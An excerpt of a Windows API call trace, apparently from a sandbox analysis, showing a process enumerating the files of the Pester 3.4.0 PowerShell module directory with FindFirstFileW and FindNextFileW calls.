	[0161.530] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4559, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.ps1", cAlternateFileName="")) returned 1
	[0161.530] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.530] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.ps1", cAlternateFileName="")) returned 1
	[0161.530] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.530] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalMock-A.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.536] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalMock-B.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.536] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.ps1", cAlternateFileName="")) returned 1
	[0161.536] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.536] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf41, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.ps1", cAlternateFileName="")) returned 1
	[0161.536] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.536] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.ps1", cAlternateFileName="")) returned 1
	[0161.537] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x261a, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.537] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.ps1", cAlternateFileName="")) returned 1
	[0161.537] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe941, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.537] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcef, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.ps1", cAlternateFileName="")) returned 1
	[0161.537] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc82, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.537] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.ps1", cAlternateFileName="")) returned 1
	[0161.537] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.537] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x370d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.ps1", cAlternateFileName="")) returned 1
	[0161.537] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x15c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.538] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.ps1", cAlternateFileName="")) returned 1
	[0161.538] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1054, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.538] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4033, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.ps1", cAlternateFileName="")) returned 1
	[0161.538] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6be7, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.538] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.538] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 0
	[0161.538] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0161.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0161.539] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0161.539] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nunit_schema_2.5.xsd", cAlternateFileName="")) returned 1
	[0161.539] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.nuspec", cAlternateFileName="")) returned 1
	[0161.539] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.psd1", cAlternateFileName="")) returned 1
	[0161.539] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6956, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.psm1", cAlternateFileName="")) returned 1
	[0161.539] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b95, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.539] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="README.md", cAlternateFileName="")) returned 1
	[0161.539] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 1
	[0161.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0161.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Snippets\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0161.886] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.886] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x321, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.886] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.887] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.887] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBe.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.887] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeGreaterThan.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.887] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeLessThan.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.887] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.887] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldContain.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0161.887] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldExist.snippets.ps1xml", cAlternateFileName="")) returned 1
